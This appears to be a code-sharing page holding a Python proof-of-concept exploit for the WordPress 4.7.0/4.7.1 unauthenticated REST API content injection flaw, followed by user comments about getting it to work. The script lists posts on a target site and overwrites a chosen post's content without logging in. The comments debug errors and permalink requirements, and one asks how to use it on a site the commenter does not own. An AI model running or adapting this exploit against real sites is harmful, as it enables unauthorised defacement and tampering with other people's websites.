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# 2017 - @leonjza | |
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# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC | |
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html | |
# Usage example: | |
# | |
# List available posts: | |
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# $ python inject.py http://localhost:8070/ | |
# * Discovering API Endpoint | |
# * API lives at: http://localhost:8070/wp-json/ | |
# * Getting available posts | |
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1 | |
# | |
# Update post with content from a file: | |
# | |
# $ cat content | |
# foo | |
# | |
# $ python inject.py http://localhost:8070/ 1 content | |
# * Discovering API Endpoint | |
# * API lives at: http://localhost:8070/wp-json/ | |
# * Updating post 1 | |
# * Post updated. Check it out at http://localhost:8070/archives/1 | |
# * Update complete! | |
import json | |
import sys | |
import urllib2 | |
from lxml import etree | |
def get_api_url(wordpress_url): | |
response = urllib2.urlopen(wordpress_url) | |
data = etree.HTML(response.read()) | |
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0] | |
# check if we have permalinks | |
if 'rest_route' in u: | |
print(' ! Warning, looks like permalinks are not enabled. This might not work!') | |
return u | |
def get_posts(api_base): | |
respone = urllib2.urlopen(api_base + 'wp/v2/posts') | |
posts = json.loads(respone.read()) | |
for post in posts: | |
print(' - Post ID: {0}, Title: {1}, Url: {2}' | |
.format(post['id'], post['title']['rendered'], post['link'])) | |
def update_post(api_base, post_id, post_content): | |
# more than just the content field can be updated. see the api docs here: | |
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post | |
data = json.dumps({ | |
'content': post_content | |
}) | |
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id) | |
req = urllib2.Request(url, data, {'Content-Type': 'application/json'}) | |
response = urllib2.urlopen(req).read() | |
print('* Post updated. Check it out at {0}'.format(json.loads(response)['link'])) | |
def print_usage(): | |
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__)) | |
if __name__ == '__main__': | |
# ensure we have at least a url | |
if len(sys.argv) < 2: | |
print_usage() | |
sys.exit(1) | |
# if we have a post id, we need content too | |
if 2 < len(sys.argv) < 4: | |
print('Please provide a file with post content with a post id') | |
print_usage() | |
sys.exit(1) | |
print('* Discovering API Endpoint') | |
api_url = get_api_url(sys.argv[1]) | |
print('* API lives at: {0}'.format(api_url)) | |
# if we only have a url, show the posts we have have | |
if len(sys.argv) < 3: | |
print('* Getting available posts') | |
get_posts(api_url) | |
sys.exit(0) | |
# if we get here, we have what we need to update a post! | |
print('* Updating post {0}'.format(sys.argv[2])) | |
with open(sys.argv[3], 'r') as content: | |
new_content = content.readlines() | |
update_post(api_url, sys.argv[2], ''.join(new_content)) | |
print('* Update complete!') |
@swaggerz500 I have not tested this on Windows no.
@oddyIT looks like the script cant talk to the wordpress site. Hint: Connection refused ;)
Everyone else getting 400 like errors. Permalinks need to be enabled for this to work. If the API resolved to a URL with rest_route
in it, permalinks are not configured. The exploit _ heavily relies_ on the way Wordpress handles urls like these.
@leonjza If not enabled (as i understand they not enabled by default,not?), could construct jquery without permalink?
@salacoste, from my testing, I don't think the bug will be exploitable without permalinks. Of course, if I am wrong, I am more than happy to update the PoC to cater for another case.
same foul :(
hi @leonjza i tested it at my localhost on windows 7 64bit, under WAMP and url_rewrite enabled and it works fine and changed the post content.
But it only work once... :(
This is output when it works..
E:\Python Projects>wp.py http://localhost/wp7_test
- Discovering API Endpoint
- API lives at: http://localhost/wp7_test/wp-json/
- Getting available posts
- Post ID: 1, Title: Hello world!, Url: http://localhost/wp7_test/2017/02/03/hello-world/
E:\Python Projects>wp.py http://localhost/wp7_test 1 abc.txt
- Discovering API Endpoint
- API lives at: http://localhost/wp7_test/wp-json/
- Updating post 1
- Post updated. Check it out at http://localhost/wp7_test/2017/02/03/hello-world/
- Update complete!
========= Now its giving me the following error ===========
E:\Python Projects>wp.py http://localhost/wp7_test 1 abc.txt
-
Discovering API Endpoint
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API lives at: http://localhost/wp7_test/wp-json/
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Updating post 1
Traceback (most recent call last):
File "E:\Python Projects\wp.py", line 77, in
update_post(api_url, sys.argv[2], ''.join(new_content))
File "E:\Python Projects\wp.py", line 39, in update_post
response = urllib2.urlopen(req).read()
File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 435, in open
response = meth(req, response)
File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 548, in http_response
'http', request, response, code, msg, hdrs)
File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 473, in error
return self._call_chain(*args)
File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 407, in _call_chain
result = func(*args)
File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 556, in http_error_defaultraise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 400: Bad Request
@Ahmedhaseeb will have to check out your webservers logs to see if there are more details about the error I think.
How do you find post id of the link? What perma link does it havw to be?
@swaggerz500 run the script with only the url as argument, and it will print posts and id's for you. just like the example usage comment shows
Sorry my friend, but this "exploit" is total crap!
Such a mess between python2 and python3 code.
I still wonder how is possible to write such a bad script with powerful language like Python...
This exploit will NEVER work on any OS without tons of modifications.
@sunbyte thanks for your constructive feedback!
I'm getting IndexError: list index out of range
on my local non-patched wordpress blog:
* Discovering API Endpoint
Traceback (most recent call last):
File "wordpress.py", line 100, in <module>
api_url = get_api_url(sys.argv[1])
File "wordpress.py", line 50, in get_api_url
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
IndexError: list index out of range
Where does this error come from?
@unixfox That means it couldnt parse the API URL from the URI you specified. The script checks for a link tag with a rel of api.w.org. You could view the source of the wordpress page and check if its there and update the script if its somewhere else.
Hello @leonjza. Thank you.
I tested it at my localhost on windows 7 32bit, under XAMPP for WP 4.7.1.
But I had error:
C:\Python>inject.py http://localhost/cms/wp7test/
- Discovering API Endpoint
- API lives at: http://localhost/cms/wp7test/wp-json/
- Getting available posts
- Post ID: 1, Title: Hello world!, Url: http://localhost/cms/wp7test/2017/02/08
/hello-world/
Then:
C:\Python>inject.py http://localhost/cms/wp7test/ 1 abc.txt
- Discovering API Endpoint
- API lives at: http://localhost/cms/wp7test/wp-json/
- Updating post 1
Traceback (most recent call last):
File "C:\Python\inject.py", line 102, in
update_post(api_url, sys.argv[2], ''.join(new_content))
File "C:\Python\inject.py", line 66, in update_post
response = urllib2.urlopen(req).read()
File "C:\Python\lib\urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "C:\Python\lib\urllib2.py", line 437, in open
response = meth(req, response)
File "C:\Python\lib\urllib2.py", line 550, in http_response
'http', request, response, code, msg, hdrs)
File "C:\Python\lib\urllib2.py", line 475, in error
return self._call_chain(*args)
File "C:\Python\lib\urllib2.py", line 409, in _call_chain
result = func(*args)
File "C:\Python\lib\urllib2.py", line 558, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 400: Bad Request
Please help me. Thank you.
@unixfox That means it couldnt parse the API URL from the URI you specified. The script checks for a link tag with a rel of api.w.org. You could view the source of the wordpress page and check if its there and update the script if its somewhere else.
can you explain more?
what if the website does not belong to me and i cant see the script? where do usualy the API is located
I‘ve solve the problem by setting apache2.conf:
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
Wish to help